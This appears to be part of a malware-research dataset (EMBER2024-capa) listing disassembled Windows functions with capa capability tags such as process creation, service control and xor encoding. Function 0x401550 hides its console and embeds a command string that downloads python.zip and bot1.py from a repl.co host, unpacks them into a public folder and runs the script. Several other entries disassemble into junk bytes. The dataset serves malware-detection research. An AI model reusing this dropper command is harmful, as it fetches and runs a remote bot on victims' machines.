joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140020aa0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x670
mov rax, qword [0x14014dcf0]
xor rax, rsp
mov qword [rsp + 0x660], rax
mov eax, dword [0x140196f30]
mov rdi, rcx
test eax, eax
jg 0x140020ada
mov byte [0], 0
mov eax, dword [0x140196f30]
shl eax, 8
xor ebp, ebp
or eax, dword [0x140196f34]
shl eax, 8
or eax, dword [0x140196f38]
cmp eax, 0x60000
jl 0x140020c71
call fcn.14001ed90
test eax, eax
je 0x140020c71
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x140020c71
call fcn.14001beb0
test eax, eax
je 0x140020c71
call qword [sym.imp.USER32.dll_GetShellWindow]
test rax, rax
je 0x140020c71
mov ecx, 0x800
mov qword [rsp + 0x688], rbx
mov qword [rsp + 0x690], rsi
call fcn.1400a6818
mov ebx, 0x104
lea rcx, [rsp + 0x30]
mov edx, ebx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x140020baf
lea rdx, str.C:WindowsSystem32
lea rax, [rsp + 0x30]
lea rcx, [rsp + 0x30]
sub rdx, rax
nop word [rax + rax]
lea rax, [rbx + 0x7ffffefa]
test rax, rax
je 0x140020ba3
movzx eax, word [rdx + rcx]
test ax, ax
je 0x140020ba3
mov word [rcx], ax
add rcx, 2
dec rbx
jne 0x140020b80
jmp 0x140020ba8
test rbx, rbx
jne 0x140020bac
sub rcx, 2
mov word [rcx], bp
lea rax, str.rundll32.exe
lea r9, [rsp + 0x30]
lea r8, str._s_s
lea rcx, [rsp + 0x450]
mov edx, 0x208
mov qword [rsp + 0x20], rax
call section..text
lea r11, str.url.dll
lea r9, [rsp + 0x30]
lea r8, str._s_s
lea rcx, [rsp + 0x240]
mov edx, 0x208
mov qword [rsp + 0x20], r11
call section..text
lea rax, [rsp + 0x240]
lea r9, [rsp + 0x450]
lea r8, str._s__s_FileProtocolHandler__s
mov edx, 0x400
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.140013cf0
mov rdx, rsi
xor ecx, ecx
call fcn.14001bc10
test al, al
je 0x140020c43
mov ebx, ebp
jmp 0x140020c55
mov rcx, rdi
call fcn.140020910
mov ebx, 1
test eax, eax
cmovns ebx, ebp
mov rcx, rsi
call fcn.1400a6820
mov rsi, qword [rsp + 0x690]
test ebx, ebx
mov rbx, qword [rsp + 0x688]
je 0x140020c93
lea rdx, str.open
xor r9d, r9d
mov r8, rdi
xor ecx, ecx
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.1400a4e70
mov rbp, qword [rsp + 0x698]
add rsp, 0x670
pop rdi
ret

Function at 0x140021876
Capabilities:
Terminate process

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1c0], rsi
mov qword [rbp + 0x1b8], rbx
lea rax, [0x1401462a8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
call rdx
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x38]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
or al, byte [rax]
Function at 0x140007138
Capabilities:
Encode data using xor

Disassembly:
test r9, r10
fldenv [rcx + 0x44]
out 0xb6, eax
invalid
out 0xb6, eax
or cl, byte [rax + 0x51]
mov dh, 0x53
mov dh, 0xc1
xor r9, rax
shr ecx, 8
mov al, byte [0x17604a5c0]
xor ecx, dword [rax + r9*4]
sub r8, 0xffffffffffffff99
jne 0x14000713d
mov ebx, ebp
ret

Function at 0x14000f9b4
Capabilities:
Encode data using xor

Disassembly:
mov rcx, rdi
and al, 8
mov qword [rsp + 0x10], rbp
int 0x74
and al, 0xc2
push rdi
push r14
adc r10b, al
sub esp, 0x20
xor r9d, r8d
mov ebp, edx
xor r8d, 0x411b27bc
mov esi, 0x12002e
test qword [rsp + rsi*2 + 0x251e865], rbx
xchg dword [rdx + 0x41], ebx
mov edx, esi
mov ecx, eax
call fcn.140028f4e
mov rbx, rax
test rax, rax
je 0x14000f9c9
sar byte [rcx], 1
js 0x14000fa01

Function at 0x14002d244
Capabilities:
Terminate process

Disassembly:
add rax, rbp
mov dl, 0xfc
mov ebx, 0x2015c0ff
scasb al, byte [rdi]
add byte [rax - 0x75], cl
mov dword [rsp + 0x10], 0xdf00
mov edi, dword [rax + rsi*4]
adc dh, bl
outsb dx, byte [rsi]
add byte [rax], al
jae 0x14002d223
invalid
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004045e0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004045f0]
mov dword [rax], 1
mov rax, qword [0x00404600]
mov dword [rax], 1
mov rax, qword [0x004045d0]
mov dword [rax], 1
mov rax, qword [0x004044c0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004045c0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404580]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404470]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Execute command
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.start__B_cmd__C__mkdir_C:UsersPublicDocument__curl_https:__bot.khoadang50.repl.co_python.zip__o_C:UsersPublicDocumentpython.zip__tar__xf_C:UsersPublicDocumentpython.zip__C_C:UsersPublicDocument__curl_https:__bot.khoadang50.repl.co_bot1.py__o_C:UsersPublicDocumentdocuments.py__C:UsersPublicDocumentpython.exe_C:UsersPublicDocumentdocuments.py_
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x401ac0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401c48
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401b0c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401b95
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401af0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401c7d
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401c60
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401b8e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401bf0
add dword [0x00407624], 1
cmp edi, 8
jae 0x401bc3
test dil, 4
jne 0x401c34
test edi, edi
je 0x401bb8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401c4f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401bb8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401bdc
jmp 0x401bb8
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401b8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401bb8
xor esi, esi
jmp 0x401b17
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401bb8
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4023d0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x402424
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40241b
test rsi, rsi
je 0x40241b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402400
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402660
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402670
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402680
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4026c1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4026b8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4026c3
add rax, 0x28
cmp rax, r9
jne 0x4026a4
xor eax, eax
ret

Function at 0x402760
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004044c0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4027cd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4027cd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4027cd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4027c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4027cf
add rax, 0x28
cmp rax, r9
jne 0x4027b0
xor eax, eax
add rsp, 0x28
ret

Function at 0x4028d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004044c0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x4028f0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4028e8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40294d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402944
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402954
add rax, 0x28
cmp rax, r9
jne 0x402930
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402970
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004044c0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x4029de
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4029de
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x4029de
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x4029de
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x4029d5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x4029e5
add rcx, 0x28
cmp rcx, rax
jne 0x4029c0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x4029f8
jmp 0x4029de
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402a06
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x4029de
test r9d, r9d
jg 0x4029f0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402c50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140006018
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f1c0]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x1400071f8
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007188
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x1400211f0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020628]
jmp 0x140007234
cmp qword [rbx + 0x18], rdi
je 0x14000723b
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000722b
jmp 0x140007255
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020628]
call fcn.140011fd8
lea rcx, [0x1400211f0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xlatb
test al, 0xc8
insd dword [rdi], dx
sal byte [rdx + rsi + 0x38], 0x8b
or dword [rcx], ecx
xchg ecx, eax
leave
insd dword [rdi], dx
cdq
cmp eax, 0xb3d9d889
mov bh, 0xf3
mov al, ah
invalid
sub qword [r13 + 0x7e], rbp
push 0xffffffff9c3350e2
int 0x81
mov dl, 0x9c
invalid
invalid
or eax, 0x1db39a48
add dh, ch
cdq
invalid
call 0x1055f9eb5
invalid
int3
invalid
pop rbx
pop rbx
invalid
loop 0x14003f70d
push rsp
adc eax, 0xad5fd811
adc eax, ebx
pop rdi
lodsd eax, dword [rsi]
mov word [rax - 0x72], cs
and bl, byte [rsi]
cld
sar ah, cl
invalid

Function at 0x140007270
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
lea rax, [r11 + 0x18]
mov r9, rdx
mov r8, rcx
mov qword [r11 - 0x10], rax
xor edi, edi
mov edx, 0x1000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbp, rax
test rax, rax
je 0x140007336
lea rcx, [0x1400211f0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020628]
jmp 0x1400072fa
lea rsi, [rbx + 0x10]
xor edx, edx
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1400072f7
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbx]
lea rcx, [0x140020628]
mov rdx, rsi
call fcn.140011fd8
jmp 0x1400072fa
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1400072c7
mov rdx, qword [0x14001f150]
lea rcx, [0x140020628]
mov rdi, rdx
inc rdx
mov qword [0x14001f150], rdx
lea edx, [rbx + 0x20]
call fcn.140012020
lea rcx, [0x1400211f0]
mov qword [rax], rbp
mov qword [rax + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov rax, rdi
add rsp, 0x30
pop rdi
ret
Function at 0x14000bcd0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x470], 0xfffffffffffffffe
mov rsi, rdx
mov qword [rbp + 0x450], rcx
call sub.kernel32.dll_WTSGetActiveConsoleSessionId
mov dword [rbp + 0x46c], eax
xor r14d, r14d
mov ecx, 2
xor edx, edx
call sub.kernel32.dll_CreateToolhelp32Snapshot
test rax, rax
je 0x14000bf8c
mov r15, rax
lea rcx, [rbp + 0x21c]
mov r8d, 0x208
xor edx, edx
call fcn.14005e900
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], 0x238
mov dword [rbp + 0x1f8], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x20c], xmm0
lea rcx, [rbp - 0x60]
lea r14, [rbp + 0x1e8]
mov r8d, 0x240
mov rdx, r14
call fcn.14005e170
mov byte [rbp + 0x1e0], 1
lea r15, [rbp + 0x460]
mov al, 1
lea r13, [rbp - 0x58]
lea r12, [rbp + 0x430]
jmp 0x14000bdc0
mov qword [rbp + 0x460], rax
mov dword [rbp + 0x458], 1
mov rcx, r15
call fcn.14000b920
movzx eax, byte [rbp + 0x1e0]
test al, al
je 0x14000bde0
mov byte [rbp + 0x1e0], 0
mov rcx, qword [rbp - 0x60]
mov rdx, r13
call sub.kernel32.dll_Process32FirstW
jmp 0x14000bdec
mov rcx, qword [rbp - 0x60]
mov rdx, r13
call sub.kernel32.dll_Process32NextW
test eax, eax
je 0x14000bf7e
mov r8d, 0x238
mov rcx, r14
mov rdx, r13
call fcn.14005e170
mov ecx, dword [rbp + 0x1f0]
mov dword [rbp + 0x430], 0
mov rdx, r12
call sub.kernel32.dll_ProcessIdToSessionId
mov ecx, eax
call fcn.140037920
test rax, rax
jne 0x14000bda0
mov edi, dword [rbp + 0x430]
mov dword [rbp + 0x45c], edi
mov dword [rbp + 0x458], 0
xor r8d, r8d
nop word cs:[rax + rax]
cmp word [rbp + r8*2 + 0x214], 0
je 0x14000bed0
cmp word [rbp + r8*2 + 0x216], 0
je 0x14000bea5
cmp word [rbp + r8*2 + 0x218], 0
je 0x14000beb6
cmp word [rbp + r8*2 + 0x21a], 0
je 0x14000bec8
cmp word [rbp + r8*2 + 0x21c], 0
je 0x14000bf54
add r8, 5
cmp r8, 0x104
jne 0x14000be50
mov r8d, 0x104
jmp 0x14000bedd
inc r8
cmp r8, 0x105
jb 0x14000bedd
jmp 0x14000bf65
add r8, 2
cmp r8, 0x105
jb 0x14000bedd
jmp 0x14000bf65
add r8, 3
nop dword [rax]
cmp r8, 0x105
jae 0x14000bf65
mov rcx, r12
lea rdx, [rbp + 0x214]
call fcn.140040450
mov rcx, r12
call fcn.140046ed0
cmp rdx, rsi
jne 0x14000bf1e
mov rcx, rax
mov rdx, qword [rbp + 0x450]
mov r8, rsi
call fcn.14005e800
test eax, eax
sete bl
mov rdx, qword [rbp + 0x438]
test rdx, rdx
jne 0x14000bf2c
jmp 0x14000bf3e
xor ebx, ebx
mov rdx, qword [rbp + 0x438]
test rdx, rdx
je 0x14000bf3e
mov rcx, qword [rbp + 0x430]
mov r8d, 1
call fcn.14001bd80
test bl, bl
je 0x14000bdb9
cmp edi, dword [rbp + 0x46c]
jne 0x14000bdb9
jmp 0x14000bfcc
add r8, 4
cmp r8, 0x105
jb 0x14000bedd
lea rax, [0x14006f9d0]
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.14006d0a0
ud2
xor r14d, r14d
mov rcx, qword [rbp - 0x60]
call sub.kernel32.dll_CloseHandle
jmp 0x14000bfb3
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x1e8], rax
mov byte [rbp + 0x428], 2
lea rcx, [rbp + 0x1e8]
call fcn.14000b920
mov eax, r14d
mov edx, esi
add rsp, 0x4f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov esi, dword [rbp + 0x1f0]
mov r14d, 1
jmp 0x14000bf81
Function at 0x140016270
Capabilities:
Modify service

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, rdx
mov rsi, rcx
lea rcx, [rbp - 0x40]
mov rdx, r8
call fcn.140015570
cmp qword [rbp - 0x40], 0
je 0x1400162d8
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x1400162bd
mov rdx, qword [rbp - 0x28]
test rdx, rdx
je 0x1400162bd
add rdx, rdx
mov r8d, 2
call fcn.14001bd80
mov dword [rsi], 5
lea rax, str.service_descriptioncalled__Result::unwrap____on_an__Err__value
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], 0x13
jmp 0x14001634c
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x30]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rdx
call fcn.14001d460
mov qword [rbp - 0x40], rax
mov rcx, rdi
call fcn.14001d760
lea r8, [rbp - 0x40]
mov rcx, rax
mov edx, 1
call qword [sym.imp.advapi32.dll_ChangeServiceConfig2W]
mov ecx, 8
test eax, eax
jne 0x14001632a
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov ecx, 7
mov dword [rsi], ecx
mov rcx, qword [rbp - 0x10]
mov word [rcx], 0
mov rdx, qword [rbp - 0x18]
test rdx, rdx
je 0x14001634c
add rdx, rdx
mov r8d, 2
call fcn.14001bd80
mov rax, rsi
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x140016390
Capabilities:
Start service

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x70], 0xfffffffffffffffe
mov rbx, rdx
mov rsi, rcx
shl r9, 5
add r9, r8
mov dword [rbp + 0x40], 8
mov qword [rbp - 8], r8
mov qword [rbp], r9
lea rax, [rbp + 0x40]
mov qword [rbp + 8], rax
lea rcx, [rbp + 0x28]
lea rdx, [rbp - 8]
call fcn.140015330
mov r14d, dword [rbp + 0x40]
cmp r14d, 8
jne 0x14001649e
mov r14, qword [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x28]
movaps xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r14
mov rdi, qword [rbp + 0x10]
mov r8, r14
shl r8, 4
add r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, rdi
call fcn.140014e00
mov rcx, rbx
call fcn.14001d760
mov edx, dword [rbp + 0x50]
mov rbx, qword [rbp + 0x40]
mov rcx, rax
mov r8, rbx
call qword [sym.imp.advapi32.dll_StartServiceW]
test eax, eax
je 0x140016570
mov dword [rsi], 8
mov rdx, qword [rbp + 0x48]
test rdx, rdx
je 0x14001645c
shl rdx, 3
mov r8d, 8
mov rcx, rbx
call fcn.14001bd80
test r14, r14
je 0x140016542
lea rbx, [rdi + 8]
jmp 0x14001647d
add rbx, 0x10
dec r14
je 0x140016542
mov rcx, qword [rbx - 8]
mov rdx, qword [rbx]
mov word [rcx], 0
test rdx, rdx
je 0x140016470
add rdx, rdx
mov r8d, 2
call fcn.14001bd80
jmp 0x140016470
movups xmm0, xmmword [rbp + 0x44]
movups xmm1, xmmword [rbp + 0x50]
movups xmm2, xmmword [rbp + 0x60]
movups xmmword [rbp - 0x44], xmm1
movaps xmmword [rbp - 0x50], xmm0
movaps xmmword [rbp - 0x60], xmm2
mov rdi, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x38]
test rbx, rbx
je 0x1400164fa
lea r15, [rdi + 8]
jmp 0x1400164d9
add r15, 0x10
dec rbx
je 0x1400164fa
mov rcx, qword [r15 - 8]
mov rdx, qword [r15]
mov word [rcx], 0
test rdx, rdx
je 0x1400164d0
add rdx, rdx
mov r8d, 2
call fcn.14001bd80
jmp 0x1400164d0
mov rdx, qword [rbp + 0x30]
test rdx, rdx
je 0x140016515
shl rdx, 4
mov r8d, 8
mov rcx, rdi
call fcn.14001bd80
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [rbp - 0x44]
movups xmmword [rbp - 0x24], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movups xmmword [rsi + 0x20], xmm0
movups xmm0, xmmword [rbp - 0x24]
movups xmmword [rsi + 0x10], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rsi + 4], xmm0
mov dword [rsi], r14d
jmp 0x14001655d
mov rdx, qword [rbp + 0x18]
test rdx, rdx
je 0x14001655d
shl rdx, 4
mov r8d, 8
mov rcx, rdi
call fcn.14001bd80
mov rax, rsi
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov dword [rsi], 7
mov qword [rsi + 8], rax
mov rdx, qword [rbp + 0x48]
test rdx, rdx
jne 0x14001644a
jmp 0x14001645c